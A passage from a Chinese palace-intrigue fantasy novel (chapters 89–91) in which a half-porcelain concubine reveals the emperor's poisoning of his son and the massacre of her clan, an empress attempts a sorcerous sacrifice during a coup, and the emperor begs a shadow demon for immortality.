宫中一片歌功颂德,赞陛下仁德感天,爱子情深。就连静思堂里麻木度日的白婷云,在最初听闻时,那颗被寒冰包裹的心脏,也似乎被这突如其来的“父爱”微微触动了一下,生出一丝极其微弱的、连她自己都不愿承认的希冀。
或许,皇帝对胜儿,终究是有些真情的?
丹丸服下,李胜的高热竟真的奇迹般退去,咳嗽也渐止,虽然依旧虚弱,但性命似乎保住了。
皇帝大悦,厚赏太医及道观,对静思堂这边,也难得地派人传了句口谕,语气温和:“贵妃亦可宽心。”
然而,这丝虚幻的暖意并未持续多久。李胜病愈后,身体虽无大碍,精神却大不如前,时常怔忡发呆,夜间多梦易惊,脾气也变得有些阴晴不定。太医只说是“大病初愈,元神未复”,需长期静养调理。
与此同时,朝堂之上,关于白家“旧案”的风向似乎又有了微妙变化。
有御史旧事重提,言白家虽有大过,但多年幽禁,惩戒已足,且北境近来不稳,或可令白家剩余子弟戴罪立功,重返边关。
皇帝“从谏如流”,下旨解除白家幽禁,命白老将军携子即刻启程,前往北境某处关隘“协防”,以观后效。
旨意传到静思堂,白婷云枯坐良久。父亲和兄长能离开京城那个华丽的囚笼,重返他们熟悉的沙场,这似乎是好事。
可为何心中如此不安?
那“协防”的关隘,听闻正是近年来摩擦不断、危险重重之地。皇帝此举,是真心给白家一个机会,还是……另有所图?
她派了自己仅剩的、勉强还能信任的一个老宫人,设法向外传递消息,提醒父兄务必小心。消息是否送出,她不得而知。
不过月余,一个暴雨倾盆的夜晚,噩耗伴随着震耳的雷鸣,劈进了静思堂。
北境急报:白老将军及其长子,在赴任途中,于落鹰峡遭遇“马匪”袭击,父子二人并数十亲卫,“力战不敌”,全部罹难,尸骨无存。
随行辎重被劫掠一空,现场只留下些许残破兵器与斑驳血迹,被暴雨冲刷得难以辨认。
“马匪……”
白婷云接到这模糊的报丧文书时,正站在窗前看着檐下如瀑的雨帘。她没有哭,甚至没有露出太多表情,只是握着纸张的手指,因为过度用力,指节泛出青白色,那冰冷的、属于瓷器的质感,似乎更明显了。
暴雨,匪患,尸骨无存。太过“干净”,也太过于“巧合”。
紧接着,朝中开始有零星的声音,指向一个令人心惊的名字——丞相傅恒。
有自称“侥幸逃脱”的幸存士,不久后便“意外”暴毙的模糊口供,有现场发现的、疑似与傅家某些隐秘势力有关的特殊箭镞痕迹,还有傅恒政敌趁机抛出的一些关于其早年与北境某些“灰色势力”有过往来的陈年旧账。
虽然一切都似是而非,缺乏铁证,无法撼动傅恒的地位,但“丞相可能与白家遇害有关”的疑云,已悄然在朝野上下弥漫开来。
皇帝对此“震怒不已”,下令严查,但“查无实据”,最终只能“痛惜良将”,厚加抚恤,将罪名依旧归咎于“猖獗边匪”,并下旨加紧清剿。
静思堂内,白婷云屏退了所有人。
她独自站在昏暗的殿中,望着虚空。父兄死了,死得不明不白,而最大的嫌疑,指向了傅恒。
傅恒……那个皇帝最倚重的权臣,当年构陷白家、策划宫宴刺杀、甚至可能直接策划了芷兰宫大火的黑手!
皇帝知道吗?
他若不知道,为何傅恒能如此肆无忌惮?
他若知道……一个更可怕、更令人血液冻结的念头,如同毒蛇,缓慢而清晰地缠上了她的心脏。
对皇帝那枚“救命金丹”的怀疑,是在一个极其偶然的情况下被触发
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的。
李胜“病愈”后,按照惯例仍需服用一些太医院开的调理药丸。一次,负责煎药的小宫女不慎打翻了药罐,匆忙收拾时,将李胜近日服用的几种药丸混在了一起。
老御医前来查验区分,对着那枚色泽赤红、异香独特的“金丹”残片,眉头紧锁,反复嗅闻观察,最终面露极大的困惑与迟疑,喃喃道:
“此丹香气霸道,似有几分‘赤阳石’、‘腐心草’等虎狼之药的痕迹……虽能短时间内提振元气,掩盖衰象,但久服必损心脉,耗竭根本,宛如饮鸩止渴……这、这怎会是陛下赐下的续命仙丹?”
这番话,恰好被奉命前来询问皇子药膳进度、实则是白婷云暗中安排的管事嬷嬷听到只言片语。嬷嬷心惊胆战,将话原封不动地带回了静思堂。
“赤阳石……腐心草……饮鸩止渴……”
每一个字,都像淬了冰的钉子,狠狠凿进白婷云的耳中。她想起胜儿病愈后那异常的苍白、怔忡的眼神、起伏不定的情绪……那不是病后体虚,那是毒素缓慢侵蚀的征兆!皇帝赐下的不是救命药,是裹着糖霜的穿肠毒药!他要慢慢耗死胜儿!就像他当年,用阴谋和烈火,“耗死”了姐姐,用“马匪”和“意外”,“耗死”了父兄!
为什么?因为胜儿身上流着一半白家的血?因为他是姐姐的儿子?因为他可能成为某些人皇权路上的障碍?还是仅仅因为,皇帝那深不可测的猜忌与冷酷,需要将一切潜在威胁,无论亲疏,都一点点碾碎?
父兄的死,傅恒的嫌疑,金丹的真相……几条冰冷的线,终于在她心中清晰地交汇,指向那个她曾经仰望、畏惧、甚至残存一丝幻想的九五之尊。
可她不敢去信,也不愿意去信……
极致的恐惧与恨意过后,是一种濒死的平静。
但她一个被困深宫、近乎被废、身体还在诡异“瓷化”的贵妃,能做什么?她连这静思堂的大门都难以自由出入,身边不知有多少皇帝的眼线。
就在她于绝望的泥沼中挣扎,几近窒息时,一个极其隐秘的消息,通过一个她早年对之有恩、如今在浣衣局做苦役的老宫女,辗转递到了她的手中。
消息很简单:西苑废弃的鹿鸣台附近,近日来了一位游方的“玄云子”道长,医术通玄,尤擅解各种奇毒、异症,且不畏权贵,行事颇为隐秘。
据说曾治愈过几例御医都束手无策的古怪病症。如今暂居在京郊某处荒观,偶尔会入城为贫苦百姓义诊。
“玄云子……解奇毒异症……”白婷云攥紧了那张小小的、皱巴巴的纸条,指尖因为用力,传来细微的、瓷器摩擦般的涩感。死寂已久的心湖,终于被投入一颗石子,荡开一圈极其微弱的、却不容忽视的涟漪。
这会是陷阱吗?
是皇帝或傅恒又一次的试探与戏弄?
还是……这无尽黑暗深渊中,唯一可能垂下的、细若游丝的救命绳索?
她不敢轻信,却也无法放弃。胜儿的命,她自己的仇,或许都系于此。
赤魔蛊,由此而来……
89. 又是宫变
贵妃的哭诉声在狭小的暗室里回荡,嘶哑破碎,每一个字都像是从被碾碎的心肺里挤出的血沫。
她半瓷化的身体无法做出大幅度的颤抖,但那细微的、持续不断的瓷器与骨骼摩擦的“咯咯”声,以及那双尚且属于血肉的眼眸中疯狂漫溢的绝望与泪水,比任何剧烈的肢体动作都更令人心头发紧。
“当年……白家……”
她哽咽着,努力想说得清晰,声音却断断续续,被巨大的悲恸切割得支离破碎,
“根本没有什么幽禁,也没有什么流放路上的意外……他们……他们早在淑妃姐姐死后不久,就被那昏君……秘密处决了!就在北郊的皇庄地窖里……白家上下一百七十三口,连同襁褓中的婴儿……一个都没放过!”
李琰只觉得一股寒气从脚底瞬间窜上天灵盖,头皮发麻。虽然早有猜测,但亲耳听到这毫无遮掩的血腥真相,仍是让他浑身血液几乎逆流。
“他骗我……骗了天下人!”贵妃的声音陡然拔高,带着泣血般的控诉,“他告诉我,父兄是在回京路上遭遇悍匪,力战而亡!还假惺惺地追封厚葬!其实……其实白家的血脉,早就断了!早就断了啊!这世上,真正流淌着白家血脉的男丁,或许……或许只剩下胜儿了!我的胜儿!”
她猛地向前探身,半瓷化的手指以一种极其怪异的姿势想要抓住李琰的衣袍下摆,却又在触及前无力地垂下,只是用那双泪眼死死地盯着他,里面是孤注一掷的、近乎癫狂的哀求:
“李校尉!李琰!我求求你!看在白家曾对先帝、对朝廷的赤胆忠心!看在……看在你或许还愿意听一句真话的份上!救救胜儿!救救他!他是白家留在世上最后的骨血了!那昏君……他连自己的儿子都要用毒药慢慢害死!他什么都能做得出来!”
她喘着粗气,瓷化的脸颊肌肉僵硬地抽搐:“白家树大根深,那昏君为了彻底铲除后患,不惜演了十多年的戏!一面假意宽宥,一面暗中屠戮!我……我甚至比皇帝更早察觉到宫里那个‘东西’的存在,那个半人半瓷的怪物!因为我……”
话音未落——
“砰!”
暗室那扇厚重的木门被一股粗暴的力量猛然撞开,打断了贵妃濒临崩溃的诉说。门外灯笼惨白的光线泻入,映出一行人影。
为首者凤冠霞帔,妆容精致,眉宇间却笼罩着一层毫不掩饰的阴鸷与急切,正是当今皇后。
她身后,跟着数名面无表情、眼神锐利如鹰隼的带刀侍卫,肃杀之气瞬间冲淡了室内原本悲伤压抑的氛围。
皇后甚至懒得瞥一眼地上形容凄惨的贵妃,目光如冰冷的刀锋,直接扫过面露惊色的陈王和瞬间绷紧身体、下意识将手握向腰间的李琰。
她唇角勾起一抹毫无温度的冷笑,声音尖利而直接,连最基本的掩饰都省却了:
“来人!把这与外臣私通、图谋不轨的贱妇给本宫捆了!”
侍卫闻令而动,如狼似虎般扑向瘫软在地的贵妃。
粗糙的绳索毫不留情地缠上她半瓷化的手臂和脖颈,瓷质与绳索摩擦,发出令人牙酸的“吱嘎”声,甚至有细碎的瓷粉簌簌落下。
贵妃被粗暴地拉起,却并未挣扎,只是仰起头,用一种混合着讥讽、了然与死寂的目光看向皇后。
反正,她早已身处绝境,烂命一条。
皇后对她的反应似乎毫不在意,或者说,此刻贵妃的态度根本无关紧要。
她向前踱了半步,华贵的裙裾扫过冰冷的地面,目光在陈王脸上停留,又冷冷掠过李琰,将其视为陈王带来的、无关紧要的随从或帮手,冷笑更甚:
“贵妃,你倒是胆子不小。自身难保,还敢私会亲王,甚至……”她的目光像看一件碍眼的物品般扫过李琰,
“还牵扯些不相干的外臣进来。这等丑事,若是让皇上知晓,你们一个都别想活!通通都是斩立决的下场!”
贵妃嘴角扯动,似乎想笑,却只发出嗬嗬的气音。
皇后却话锋陡然一转,眼神变得锐利而充满算计,声音也压低了些,却带着更强的压迫感:
“不过,本宫此刻没空理会你们这些龌龊勾当。三皇子已然发动宫变,乾元殿外此刻怕是已血流成河。皇上……哼,那老东西眼看是不成了。本宫,马上就要是太后了。”
她微微倾身,靠近被制住的贵妃,盯着她那双死水般的眼睛,一字一句,如同毒蛇吐信:“你横竖都是要死。但在死之前,不如再做件‘好事’。去把宫里那个‘东西’,给本宫封印了。”
贵妃原本死寂的眼眸骤然一缩,闪过一丝难以置信的惊骇:“你……你怎么会知道那个‘东西’?!”自从以为李胜必死,她在绝望崩溃的边缘,确实曾以某种古老血腥的仪式,试图联系、沟通甚至……
利用宫中那个日益强大的、非人存在的力量,作为报复皇帝的最后一搏。
皇帝后来在追求“长生”邪路上越走越远,变得半人半瓷,固然有其自身贪欲,但最初引动那诡异力量的“契机”……与她脱不了干系!
“本宫执掌凤印多年,统领六宫,你真当我是睁眼瞎?”
皇后冷哼一声,语气带着居高临下的鄙夷与掌控一切的自信,“宫中稍有风吹草动,岂能瞒过我的眼睛?这些日子你精神恍惚,暗中捣鼓那些见不得人的东西,甚至偷偷与某些‘非人’之物建立联系……桩桩件件,本宫都了如指掌!”
她退后半步,微微侧身。一直沉默跟在她身后阴影里的一个黑袍人,缓缓走上前。
此人全身笼罩在宽大的黑色斗篷中,看不清面容,只能隐约看到兜帽下似乎并非人脸,而是一片更深的、蠕动的黑暗。他周身散发着一种难以言喻的、混合着草药腐败与血腥气的阴冷气息,仅仅是站在那里,就让人本能地
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感到不适与危险。
“这是本宫寻来的方外之人,精通些……非常手段。”
皇后的声音恢复了平静,甚至带着一丝残忍的兴致,“他能将活人精魄血气,辅以特殊药物,炼成‘锁魂丹’或是制成‘替身药人’。虽不能长久,但足以暂时压制甚至引开宫中那怪物的注意力,为三皇子顺利登基、稳定朝局争取时间。”
她看着贵妃,眼中毫无怜悯,只有赤裸裸的利用与算计:“你对那怪物有所感应,甚至可能残留一丝联系。用你来做‘药引’,再合适不过。待压制住那东西,待我儿坐稳江山……或许,本宫还能找到方法,将那怪物的力量,收为己用。”
她对皇帝显然毫无夫妻真情,眼见皇帝即将油尽灯枯、甚至可能变成更大的祸患,便毫不犹豫地打算利用贵妃这个“知情者”和“引子”,为自己和儿子的未来铺路,甚至觊觎起那恐怖力量本身。
就在这时——
“嗬……嗬嗬嗬……”
一阵低沉、阴冷、仿佛从地底深处传来,又似直接在每个人脑海中响起的怪笑声,陡然弥漫了整个暗室!那声音非男非女,带着一种粘腻的贪婪与无尽的恶意。
“好啊……鲜活的血肉……充满怨恨与绝望的灵魂……还有……一丝熟悉的、令人怀念的‘联系’……”
“小老鼠,我亲爱的小老鼠……”
声音飘忽不定,仿佛从四面八方挤压而来,每一个音节都带着冰冷的湿气,钻进人的耳朵,缠绕上心脏。
暗室内本就微弱的烛火,在这股凭空出现的阴森气息压迫下,疯狂摇曳起来,火苗被压得极低,变成幽幽的蓝色,将所有人的影子扭曲拉长,投在墙壁上,张牙舞爪,如同群魔乱舞。室内的温度骤降,呵气成霜,空气粘稠得仿佛凝固,巨大的、令人毛骨悚然的危机感如同实质的潮水,瞬间淹没了所有人。
陈王与李琰几乎在声音响起的刹那,便猛地转向彼此,无需言语,眼神瞬间交汇——警惕,决绝!
李琰的拳头在袖中握得死紧,骨节发白,指甲深深陷入掌心。
母妃与白家的血仇未报,大皇子生死未卜,此刻又骤然卷入皇后与这莫名恐怖存在的阴谋之中!
绝境之中,恶战已不可避免,但无论如何,他绝不能在此刻倒下,任人宰割!
陈王眼中亦是寒光凛冽,他飞快地扫视着暗室布局、皇后及其侍卫的位置、那个诡异的黑袍人,还有那不知藏身何处的恐怖声音来源。
大脑急速运转,思考着如何在如此混乱危险的局面中,尽可能地保住贵妃,并寻机破局。
皇后脸上的算计也瞬间被惊疑与一丝不易察觉的恐惧取代,她身后的侍卫更是紧张地握紧了刀柄,如临大敌。
这方狭窄的暗室,顷刻间成了风暴汇聚的焦点,阴谋、仇恨、贪婪、恐惧与超乎想象的邪异力量交织碰撞,一触即发。
90. 皇后的阴谋
那非人的诡异笑声与骤然降临的阴寒尚未完全掌控暗室,慕酌与宛楪几乎同时捕捉到了从地面隐隐传来的、不同于暗室诡谲氛围的震动。
那是大量人马奔跑、兵器撞击、以及远处传来的、被厚重宫墙削弱却依旧惊心动魄的厮杀嘶吼!
两人目光在空中倏然交汇,无需言语,瞬间读懂了彼此眼中的判断:外面出大事了!
“走?”慕酌转过头,宛楪点点头,眨眼之间身形已动,宛楪紧随其后。
两人并未从暗室正门冲出,那里被皇后侍卫堵着,而是凭借进来时观察的记忆,慕酌一掌击向侧面一处看似实心的砖墙——内力吞吐,砖石发出沉闷呻吟,竟露出一条狭窄的、布满灰尘的通风暗道!
这是李琰这些年为自己留下的隐秘后路之一。
他们如同两道轻烟掠入暗道,将暗室内瞬间爆发的惊呼、皇后的厉喝、那黑袍邪术师骤然响起的晦涩咒文,以及那无处不在的阴冷笑声,全部抛在身后。
暗道曲折向上,弥漫着陈年尘土和潮湿的气味。疾行数十息后,前方隐约透来晃动火光与更加清晰的嘈杂。
慕酌一掌震开头顶伪装的石板,两人先后跃出,落在一处偏僻宫苑的假山之后。眼前的景象,让即使早有心理准备的两人也心头一沉。
火光,映红了半边天。
不是节庆的灯笼,不是祭祀的篝火,而是宫殿焚烧、旌旗点燃的毁灭之火。
原本庄严肃穆、飞檐斗拱的连绵宫阙,此刻陷入了彻底的疯狂与混乱。
目光所及的宫道上,身着明光铠的御林军与穿着杂色甲胄、臂缠白巾的叛军正犬牙交错地厮杀在一起。
刀剑碰撞的刺耳锐响、长枪贯入□□的闷响、垂死者的惨嚎、冲锋者的怒吼……各种声音混杂成一片令人头皮发麻的死亡交响,在火光与血腥气中沸腾。
远处,象征着皇权的乾元殿方向,黑烟滚滚,火光最为炽烈,喊杀声也最为密集。
近处,太监宫女仓皇奔逃,歪斜,袍服染血,有的瘫软在角落里瑟瑟发抖,有的哭喊着寻找出路,却被乱兵无情地冲倒践踏。昔日井然有序、威严肃穆的皇宫,彻底变成了修罗战场。
在这片混乱的中心偏后位置,慕酌锐利的目光捕捉到了一簇狼狈移动的明黄色——那是皇帝!
他失去了平日所有的威严与镇定,在一群拼死护卫的侍卫簇拥下,正惊慌失措地向相对安全的北宫门方向奔逃,华贵的龙袍被扯破,金冠歪斜,脸上满是烟灰与惊恐。
御林军虽在奋力抵挡从四面八方涌来的叛军,但三皇子此次发难显然筹谋已久,攻势凶猛,且似乎对皇宫布局了如指掌,不断有叛军小队突破防线,追杀皇帝一行人。
宛楪看着这生灵涂炭、秩序崩坏的景象,眉头紧锁。
这不是她第一次见到战争与杀戮,但皇宫内如此直接、赤裸的权位倾轧与血腥清洗,仍让她感到一种深沉的寒意与厌恶。
她并非此世之人,卷入其中本为自保与承诺,如今眼看风波将息,更大的风暴却又以更残酷的方式降临。
她忽然侧过头,看向身旁同样面色凝重的慕酌。火光在他轮廓分明的侧脸上跳跃,映亮他紧抿的唇和深邃的眼。
这个来自南国、身份神秘的人,在这场北国皇权的滔天巨浪中,究竟扮演着什么角色?真的只是为了“查探把柄”?
“慕酌,”她的声音在周遭的喊杀声中显得异常清晰平静,“你千里迢迢来到北国,深入这龙潭虎穴,甚至卷入皇子之争,究竟,所为何来?”
她的目光直视着他,仿佛要穿透那层冷峻的伪装。
慕酌沉默了片刻。远处的厮杀声、近处的逃亡哭喊、木材燃烧的噼啪声,似乎都在这一刻稍稍远去。
他缓缓开口,声音低沉,带着一种罕见的坦诚,却又依旧有所保留:“北国与南国对峙多年,边境从未真正安宁。我来,确是为了寻找能制衡、或至少能洞察北国皇室动向的契机。至于卷入这些……”
他看了一眼混乱的皇宫,眼神复杂,“非我所愿,却也是阴差阳错。不过,”
他话锋微转,语气重新变得沉稳,“我来时并非毫无准备。边疆有我的人,局面尚在可控之内,南国边境……短期内,无需忧心。”
他这话既是解释,也是某种程度的交底——他并非孤身犯险,亦有后手。这或许是为了让她安心,也或许是在暗示他的能量不容小觑。
宛楪轻轻点了点头,眼中掠过一丝了然,也有一丝不易察觉的疏离。
“原来如此。”
她顿了顿,望向混乱的宫苑深处,声音轻得像一声叹息,“我自己的事情……差不多也了结了。要找的那个孩子,线索已现,托付给了可信之人。也是时候……该离开了。”
她收回目光,再次看向慕酌,语气平静却带着决意:“慕将军也知晓,我本是女儿身,替代他人潜入军营实属无奈。如今风波迭起,但我的去意已定。此地……终究非我久留之所。”
慕酌闻言,心头蓦地一紧。他早就知道她终会离开,只是没想到她会在此刻、此种情形下,如此明确地说出来。
一股难以言喻的失落与空茫瞬间攫住了他,甚至压过了对眼前危局的担忧。
他看着她被火光映亮的侧脸,那上面有疲惫,有决绝,却似乎没有太多对他的留恋。
“至少……”他听到自己的声音有些干涩,几乎失却了往常的冷静,“再帮李琰一把。我们……毕竟同行一路,他也曾以诚相待。”
这番话,半是实情,半是他不愿她就此离去的挽留。
他知道她对承诺的看重,对无辜者的怜悯。
宛楪果然迟疑了。她想起十三皇子李琰那双压抑着仇恨与执着的眼睛,想起他曾郑重托付她照顾那个流落民间的孩子,想起这一路同行,他虽心有城府,却并未真正害过她,甚至在陈王府对峙时,下意识将她与
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慕酌护在身后。
更重要的是,大皇子李胜……那个被亲生父亲下毒、被绝望母亲引入歧途、身中赤魔蛊的可怜人,是整场悲剧中最无辜的受害者之一。
她闭了闭眼,再睁开时,已有了决定。“好。”
她点头,声音恢复了之前的冷静,“我们回去,把大皇子带出来。这个时辰,以我之前施法压制蛊毒、你以‘青灵护心瓣’稳固生机的效果来看,他……应该已经恢复了些许意识,能够移动了。”
慕酌眼中闪过一丝惊愕:“你能确定?赤魔蛊阴毒霸道,即便压制,苏醒也需……”他原以为李胜至少还要昏迷数日。
宛楪面色不变,语气自然:“你忘了?我虽不以医者自居,但家中……确实略通岐黄。观其气色脉象,结合施救时辰与药力推算,此刻应是清醒之机。”
她这话半真半假,她确实通晓一些疗伤法门,但更主要的判断依据,是她以本源灵力凝聚的第二片“青灵护心瓣”悄悄送入李胜体内后,与其生机产生的微弱共鸣感应。这自然不能明说。
慕酌虽仍有疑惑,但见她神色笃定,且眼下情况紧急,不容细究,便也压下疑虑,重重点头:“事不宜迟,趁现在叛军主力被吸引在乾元殿和追杀皇帝方向,我们速回陈王府密室!”
两人不再耽搁,借着夜色、火光与混乱的掩护,避开主要交战区域,身形如电,朝着陈王府方向疾掠而去。他们的身影很快融入跳跃的火光与浓重的阴影之中。
宫变的局势,正以惊人的速度恶化。
三皇子蓄谋已久,策反了部分御林军将领,更纠集了私兵、死士及部分对皇帝不满的边军旧部,攻势如潮。忠于皇帝的御林军虽然拼死抵抗,但事发突然,指挥体系被部分破坏,加上皇帝仓皇逃窜,士气大受影响,节节败退。
而就在一片混战的边缘,靠近冷宫废墟的偏僻宫苑空地上,一幕更令人心悸的惨剧正在上演。皇后不知用了什么方法,竟在乱军之中,将半瓷化的贵妃强行拖到了这里。一座临时搭建的、散发着浓烈硫磺与血腥气息的诡异丹炉正熊熊燃烧,炉火呈幽绿色。
“扔进去!快!”皇后脸上再无半分雍容,只剩下扭曲的狠厉与急迫。
她带来的部分死士控制住了挣扎的贵妃,而陈王与李琰也被五花大绑,押在一旁,口中塞着破布,目眦欲裂地看着这一幕。
皇后对着贵妃狞笑,“待炼成‘锁魂丹’,暂时引开那怪物,助我儿登基,你们这些知道太多的废物,一个也别想活!”
然而,就在贵妃即将被投入那冒着诡异绿火的丹炉,陈王与李琰拼命挣扎却无济于事,皇后脸上露出残忍快意的刹那——
“轰隆隆——!”
宫门方向,突然传来震天动地的战鼓声与更加雄浑整齐的喊杀声!一支盔甲鲜明、旗帜统一的精锐军队,如同钢铁洪流般冲破叛军外围防线,悍然杀入!为首将领高呼:“奉旨平叛!勤王护驾!降者不杀!”
91. 别样的心思
是驻扎京畿之外、一直由皇帝心腹牢牢掌控的“龙骧”、“虎贲”两卫主力!他们竟在如此关键时刻赶到!原本占据上风的三皇子叛军,顿时腹背受敌,阵脚大乱!
皇后脸上的狞笑瞬间僵住,化为难以置信的惊骇与恐慌。“怎么可能……他们怎么会这么快……”她精心算计,甚至不惜勾结邪术师,就是为了在三皇子控制大局、援军不及反应之前造成既定事实。如今援军猝至,计划全盘打乱!
被侍卫拼死护着逃到相对安全的高台、惊魂稍定的皇帝,远远看到援军旗帜,灰败的脸上终于恢复了一丝血色,但眼神依旧惊惶。他自然也看到了远处空地上皇后胁迫贵妃、捆绑陈王与李琰的一幕。
皇后反应极快,立刻命死士将陈王、李琰和濒临炉口的贵妃推到显眼处,尖声朝着皇帝高台方向喊道:
“陛下!看看这是谁!你的好弟弟陈王,还有这个不知哪里冒出来的逆贼李琰,都与贵妃这贱人勾结!他们知道宫闱丑事,更与那怪物有染!你若不想身败名裂,立刻命令援军停下,立我儿为太子,昭告天下!否则,我先杀了他们,再与你鱼死网破!”她妄图用这些“人质”和秘密,做最后一搏。
高台上的皇帝,远远望着被刀剑加颈的陈王、李琰和形容凄惨的贵妃,脸上掠过一丝复杂的情绪——有厌恶,有忌惮,也有深深的疲惫。
他喘息着,声音通过侍卫传开,虚弱却清晰:“皇后……你闹够了。陈王……勾结与否,自有律法。李琰……不过一介臣子。贵妃……早已失德。他们的死活……与朕的江山相比,微不足道。你想杀……便杀吧。”言下之意,竟是完全放弃了这几人,不为所动!
“你——!”皇后彻底绝望,脸色惨白如鬼。她没想到皇帝如此冷酷,连亲弟弟和可能救过自己的“臣子”都能毫不犹豫舍弃。
被绑着的李琰,听到皇帝那冰冷无情的话语,心中最后一丝对“父皇”可能残存的、极其微弱的幻想,彻底湮灭。恨意如同淬毒的藤蔓,疯狂缠绕心脏。
而三皇子,已被如狼似虎的援军精锐分割包围,身负多处创伤,被死死押跪在地,眼中满是不甘与疯狂,死死瞪着高台上的皇帝和远处的皇后。
李琰看着眼前的景象,眸色暗沉下去,心中有了计较。
皇后心知大势已去,眼中迸发出同归于尽的疯狂光芒:“好!好一个冷酷无情的皇帝!既然你不仁,休怪我不义!大家一起死!”
她猛地转向身后那个一直沉默如影子、气息诡异的黑袍邪术师,尖叫道:“大师!动手!我要这皇宫……寸草不生!”
那黑袍邪术师兜帽下的黑暗似乎蠕动了一下,发出嗬嗬的怪笑,干枯如鸟爪的双手猛然抬起,结出一个极其邪恶复杂的手印,口中开始吟诵晦涩刺耳的咒文!
一股比之前在暗室感受到的更加浓郁、更加邪恶的阴寒气息,开始以他为中心疯狂蔓延开来,空气中仿佛响起了无数冤魂的哀嚎,地面隐隐震动!
凭借对路径的熟悉和过人的身法,慕酌与宛楪险之又险地避开了几股零星的叛军和溃兵,重新潜回陈王府。府内亦是一片混乱,仆役四散,但激战主要发生在主院和前庭,通往地下密室的路径反而相对安静。
两人迅速进入密室。石室内,李胜依旧躺在石板上,但情况已与离开时截然不同。
他身上的青黑之色并未完全褪去,皮肤下血管的蠕动也依旧可怖,然而,他那双原本紧闭、甚至有些凹陷的眼睑,此刻却在轻微颤动!胸口处,微弱却持续的青辉与残留的赤魔蛊黑气形成拉锯,但生机明显强于死气。
“果然醒了。”宛楪低语,快步上前,趁着慕酌不注意,汇了一丝灵力。
李胜身体一颤,眼皮挣扎数下,终于缓缓睁开。
那眼底残留着赤魔蛊带来的狂暴血丝与混乱,但更深处,却是一种历经剧痛、迷茫后逐渐回归的、带着巨大痛苦与惊恐的清醒。
他看到了宛楪,看到了慕酌,喉咙里发出“嗬嗬”的、艰难的气音。
“能动吗?试着起来,我们必须立刻离开这里。”慕酌沉声道,同时警惕地听着密室入口处的动静。
李胜似乎听懂了,他极其缓慢地、仿佛每一寸骨骼都在抗议地,尝试移动手臂,撑起身体。过程艰难无比,冷汗瞬间布满他苍白(夹杂青黑)的额头,但他咬紧了牙关,眼中竟迸发出一丝属于求生本能的微弱光芒。在宛楪和慕酌的搀扶下,他终于勉强坐起,摇摇晃晃地站住了。
“走!”慕酌当先开路,宛楪扶着虚弱的李胜紧随。然而,就在他们即将走出通往假山的甬道时,外面传来了异常嘈杂的脚步声、兵器碰撞声,以及一个太监尖利焦急的呼喊:“快!皇后娘娘有令,搜遍陈王府!务必找到大皇子殿下!”
追兵来了!而且似乎是皇后派来,想抓住李胜作为最后筹码或报复的人!
慕酌眼神一厉,对宛楪使了个眼色,示意她护好李胜,自己则悄无声息地贴近甬道出口,如同蛰伏的猎豹。
就在黑袍邪术师的咒文达到高潮,阴风呼啸,地面隐隐浮现出暗红色诡异纹路,皇后脸上露出疯狂笑意,陈王、李琰等人感到灵魂都要被冻结吸走,皇帝在高台上也露出惊惧之色时——
“咻——!”
一道凌厉无匹的剑气,撕裂阴风,直取那邪术师后心!是慕酌!他在解决掉几名搜索到假山附近的皇后死士后,与扶着李胜的宛楪恰好赶到这片空地边缘,目睹了这危急一幕,毫不犹豫出手!
同时,宛楪将李胜安置在一处残垣后,身形如电,指尖青辉流转,并非直接攻击,而是化作数道柔韧的光索,缠向皇后和几名控制人质的死士手腕!她动作隐秘,在漫天阴风邪气掩盖下,并不十分显眼。
那邪术师反应极快,咒文不停,身体却诡异地一扭,黑袍鼓荡,竟然险险避开了慕酌志在必得的一剑,只是袍角被剑气划开一道大口子。他猛地回头,兜帽下的黑暗“看”向了慕酌,发出愤怒的嘶鸣。
慕酌愣住了,别人或许不认识,但是他知道,这是掉进地宫里面那个炼制“药人”的怪人!
他怎么会在这?
他是三皇子和皇后的手下?
皇后猝不及防,手腕被光索缠住,剧痛之下惊呼松手,押着贵妃的死士也受到影响。
陈王和李琰抓住这电光火石的机会,同时发力!陈王虽被绑着,但武功底子犹在,一记凶狠的头槌撞翻身旁死士;李琰更是趁乱一脚踹开另一人,就地翻滚,脱离了刀剑范围!
场面瞬间失控!
皇后惊怒交加:“拦住他们!杀了他们!”残余死士与那邪术师一部分注意力被慕酌和宛楪吸引。
然而,谁也没注意到,被宛楪光索稍稍松开、跌倒在地的贵妃旁边,那个一直虚弱不堪、被所有人忽视的大皇子李胜,眼中陡然闪过一抹混合着对母亲的本能保护欲、长期被蛊毒折磨的痛苦、以及被眼前景象刺激出的凶戾!
他不知从哪里来的力气,抓起地上散落的一把断刃,喉咙里发出野兽般的低吼,猛地从残垣后冲出,狠狠扑向那正在与慕酌缠斗、同时维持邪术的邪术师!
“噗嗤——!”
断刃从背后,深深刺入了邪术师的后腰!那里并非要害,但却是邪术师凝聚阴气、沟通阵法的关键窍穴之一!
“呃啊——!”邪术师发出一声不似人声的凄厉惨叫,维持的咒文瞬间中断,周身鼓荡的邪气为之一滞,反噬之力让他踉跄前扑。而他手中酝酿的某个邪恶术法,也因这突如其来的打断和反噬,部分失控的能量溅射开来,正好波及了冲得太近、毫无防备的李胜!
李胜如遭重击,惨哼一声,口中喷出带着黑气的鲜血,重重摔倒在地,胸前被邪术余波扫过,一片焦黑,生死不知。
“胜儿——!!!”贵妃发出撕心裂肺的惨叫,挣扎着想要爬过去。
邪术被强行打断,阵法反噬,那黑袍邪术师自己也受了不轻的伤,加上慕酌紧接而来的凌厉攻势,他再也无力维持,怨毒地瞪了在场众人一眼,尤其是坏了他好事的李胜和慕酌,黑袍一卷,竟化作一股黑烟,朝着皇宫更深处、那阴气最重的方向遁去,瞬息不见。
邪术威胁暂解,但场面依旧混乱。皇后见最后倚仗逃走,面如死灰。援军精锐已经彻底控制住三皇子及其党羽,并开始清剿皇后残余死士。
高台上的皇帝,见邪术消散,局势似乎重新被己方掌控,惊魂稍定。但他并未关心下方伤亡,甚至没多看重伤的儿子一眼,眼中反而闪过一丝异样的、混合着贪婪与恐惧的光芒。
他忽然对身边心腹太监低语几句,然后竟在少数侍卫保护下,不顾满地狼藉与未尽的危险,急匆匆地朝着他豢养影妖的密室方向跑去!
影妖所在之处,早已因皇宫剧变和邪术师刚才的动静而气息不稳。
皇帝跌跌撞撞闯入,对着那团在黑暗中翻腾不定、散发着令人窒息的邪恶与不满足气息的影子,竟然扑通跪下,连连叩首,语无伦次地祈求:“大仙!影仙!求您……求您再赐我长生之力!只要我能长生,坐稳江山,一定……一定给您找来更多、更精纯的血食!求求您!帮我……帮我恢复……我不能死……不能……”
